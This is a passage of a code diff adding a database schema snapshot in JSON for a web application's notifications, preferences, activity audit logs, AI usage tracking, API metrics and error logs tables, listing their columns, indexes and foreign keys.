+ "tableFrom": "messages", + "tableTo": "pages", + "columnsFrom": [ + "sourceAgentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.notifications": { + "name": "notifications", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isRead": { + "name": "isRead", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "readAt": { + "name": "readAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggeredByUserId": { + "name": "triggeredByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "notifications_user_id_idx": { + "name": "notifications_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_user_id_is_read_idx": { + "name": "notifications_user_id_is_read_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_user_id_is_read_created_at_idx": { + "name": "notifications_user_id_is_read_created_at_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_created_at_idx": { + "name": "notifications_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_type_idx": { + "name": "notifications_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "notifications_userId_users_id_fk": { + "name": "notifications_userId_users_id_fk", + "tableFrom": "notifications", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_pageId_pages_id_fk": { + "name": "notifications_pageId_pages_id_fk", + "tableFrom": "notifications", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_driveId_drives_id_fk": { + "name": "notifications_driveId_drives_id_fk", + "tableFrom": "notifications", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_triggeredByUserId_users_id_fk": { + "name": "notifications_triggeredByUserId_users_id_fk", + "tableFrom": "notifications", + "tableTo": "users", + "columnsFrom": [ + "triggeredByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_notification_log": { + "name": "email_notification_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "notificationId": { + "name": "notificationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "notificationType": { + "name": "notificationType", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "recipientEmail": { + "name": "recipientEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "errorMessage": { + "name": "errorMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sentAt": { + "name": "sentAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_notification_log_user_idx": { + "name": "email_notification_log_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_notification_log_sent_at_idx": { + "name": "email_notification_log_sent_at_idx", + "columns": [ + { + "expression": "sentAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_notification_log_notification_id_idx": { + "name": "email_notification_log_notification_id_idx", + "columns": [ + { + "expression": "notificationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_notification_log_userId_users_id_fk": { + "name": "email_notification_log_userId_users_id_fk", + "tableFrom": "email_notification_log", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_notification_preferences": { + "name": "email_notification_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "notificationType": { + "name": "notificationType", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "emailEnabled": { + "name": "emailEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_notification_preferences_user_type_idx": { + "name": "email_notification_preferences_user_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "notificationType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_notification_preferences_userId_users_id_fk": { + "name": "email_notification_preferences_userId_users_id_fk", + "tableFrom": "email_notification_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_toast_notification_preferences": { + "name": "user_toast_notification_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "level": { + "name": "level", + "type": "toast_notification_level", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'all'" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_toast_notification_preferences_user_idx": { + "name": "user_toast_notification_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_toast_notification_preferences_userId_users_id_fk": { + "name": "user_toast_notification_preferences_userId_users_id_fk", + "tableFrom": "user_toast_notification_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.display_preferences": { + "name": "display_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "preferenceType": { + "name": "preferenceType", + "type": "display_preference_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "display_preferences_user_type_idx": { + "name": "display_preferences_user_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "preferenceType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "display_preferences_userId_users_id_fk": { + "name": "display_preferences_userId_users_id_fk", + "tableFrom": "display_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.activity_logs": { + "name": "activity_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actorEmail": { + "name": "actorEmail", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'legacy@unknown'" + }, + "actorDisplayName": { + "name": "actorDisplayName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isAiGenerated": { + "name": "isAiGenerated", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiConversationId": { + "name": "aiConversationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "operation": { + "name": "operation", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceType": { + "name": "resourceType", + "type": "activity_resource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "resourceId": { + "name": "resourceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceTitle": { + "name": "resourceTitle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentSnapshot": { + "name": "contentSnapshot", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentFormat": { + "name": "contentFormat", + "type": "content_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentRef": { + "name": "contentRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentSize": { + "name": "contentSize", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "rollbackFromActivityId": { + "name": "rollbackFromActivityId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceOperation": { + "name": "rollbackSourceOperation", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceTimestamp": { + "name": "rollbackSourceTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceTitle": { + "name": "rollbackSourceTitle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updatedFields": { + "name": "updatedFields", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "previousValues": { + "name": "previousValues", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "newValues": { + "name": "newValues", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "streamId": { + "name": "streamId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "streamSeq": { + "name": "streamSeq", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "stateHashBefore": { + "name": "stateHashBefore", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stateHashAfter": { + "name": "stateHashAfter", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "dataCategory": { + "name": "dataCategory", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "legalBasis": { + "name": "legalBasis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "retentionPolicy": { + "name": "retentionPolicy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recipients": { + "name": "recipients", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isArchived": { + "name": "isArchived", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "chainSeq": { + "name": "chainSeq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "previousLogHash": { + "name": "previousLogHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "logHash": { + "name": "logHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "chainSeed": { + "name": "chainSeed", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_activity_logs_timestamp": { + "name": "idx_activity_logs_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_user_timestamp": { + "name": "idx_activity_logs_user_timestamp", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_drive_timestamp": { + "name": "idx_activity_logs_drive_timestamp", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_page_timestamp": { + "name": "idx_activity_logs_page_timestamp", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_archived": { + "name": "idx_activity_logs_archived", + "columns": [ + { + "expression": "isArchived", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_rollback_from": { + "name": "idx_activity_logs_rollback_from", + "columns": [ + { + "expression": "rollbackFromActivityId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_stream": { + "name": "idx_activity_logs_stream", + "columns": [ + { + "expression": "streamId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "streamSeq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"streamId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_change_group": { + "name": "idx_activity_logs_change_group", + "columns": [ + { + "expression": "changeGroupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"changeGroupId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_log_hash": { + "name": "idx_activity_logs_log_hash", + "columns": [ + { + "expression": "logHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"logHash\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_chain_seq": { + "name": "idx_activity_logs_chain_seq", + "columns": [ + { + "expression": "chainSeq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "activity_logs_userId_users_id_fk": { + "name": "activity_logs_userId_users_id_fk", + "tableFrom": "activity_logs", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "activity_logs_driveId_drives_id_fk": { + "name": "activity_logs_driveId_drives_id_fk", + "tableFrom": "activity_logs", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "activity_logs_pageId_pages_id_fk": { + "name": "activity_logs_pageId_pages_id_fk", + "tableFrom": "activity_logs", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "activity_logs_content_size_limit": { + "name": "activity_logs_content_size_limit", + "value": "\"activity_logs\".\"contentRef\" IS NOT NULL OR \"activity_logs\".\"contentSize\" IS NULL OR \"activity_logs\".\"contentSize\" <= 1048576" + }, + "activity_logs_stream_pair": { + "name": "activity_logs_stream_pair", + "value": "(\"activity_logs\".\"streamId\" IS NULL) = (\"activity_logs\".\"streamSeq\" IS NULL)" + }, + "activity_logs_change_group_pair": { + "name": "activity_logs_change_group_pair", + "value": "(\"activity_logs\".\"changeGroupId\" IS NULL) = (\"activity_logs\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.ai_usage_logs": { + "name": "ai_usage_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "input_tokens": { + "name": "input_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "output_tokens": { + "name": "output_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "total_tokens": { + "name": "total_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "cost": { + "name": "cost", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "currency": { + "name": "currency", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'USD'" + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "streaming_duration": { + "name": "streaming_duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": true + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "wallet_id": { + "name": "wallet_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "automation_ref": { + "name": "automation_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "unattributed_at": { + "name": "unattributed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "key_source": { + "name": "key_source", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'managed'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "context_messages": { + "name": "context_messages", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "context_size": { + "name": "context_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "system_prompt_tokens": { + "name": "system_prompt_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "tool_definition_tokens": { + "name": "tool_definition_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversation_tokens": { + "name": "conversation_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "message_count": { + "name": "message_count", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "was_truncated": { + "name": "was_truncated", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "truncation_strategy": { + "name": "truncation_strategy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcile_status": { + "name": "reconcile_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcile_attempts": { + "name": "reconcile_attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "reconciled_at": { + "name": "reconciled_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_ai_usage_timestamp": { + "name": "idx_ai_usage_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_user_id": { + "name": "idx_ai_usage_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_user_source": { + "name": "idx_ai_usage_user_source", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_provider": { + "name": "idx_ai_usage_provider", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "model", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_cost": { + "name": "idx_ai_usage_cost", + "columns": [ + { + "expression": "cost", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_conversation": { + "name": "idx_ai_usage_conversation", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_context": { + "name": "idx_ai_usage_context", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_context_size": { + "name": "idx_ai_usage_context_size", + "columns": [ + { + "expression": "context_size", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_expires_at": { + "name": "idx_ai_usage_expires_at", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_reconcile": { + "name": "idx_ai_usage_reconcile", + "columns": [ + { + "expression": "reconcile_status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "reconcile_status = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_unattributed": { + "name": "idx_ai_usage_unattributed", + "columns": [ + { + "expression": "unattributed_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "unattributed_at IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.api_metrics": { + "name": "api_metrics", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "status_code": { + "name": "status_code", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "request_size": { + "name": "request_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "response_size": { + "name": "response_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cache_hit": { + "name": "cache_hit", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "cache_key": { + "name": "cache_key", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_api_metrics_timestamp": { + "name": "idx_api_metrics_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_endpoint": { + "name": "idx_api_metrics_endpoint", + "columns": [ + { + "expression": "endpoint", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_user_id": { + "name": "idx_api_metrics_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_status": { + "name": "idx_api_metrics_status", + "columns": [ + { + "expression": "status_code", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_duration": { + "name": "idx_api_metrics_duration", + "columns": [ + { + "expression": "duration", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.error_logs": { + "name": "error_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stack": { + "name": "stack", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "file": { + "name": "file", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "line": { + 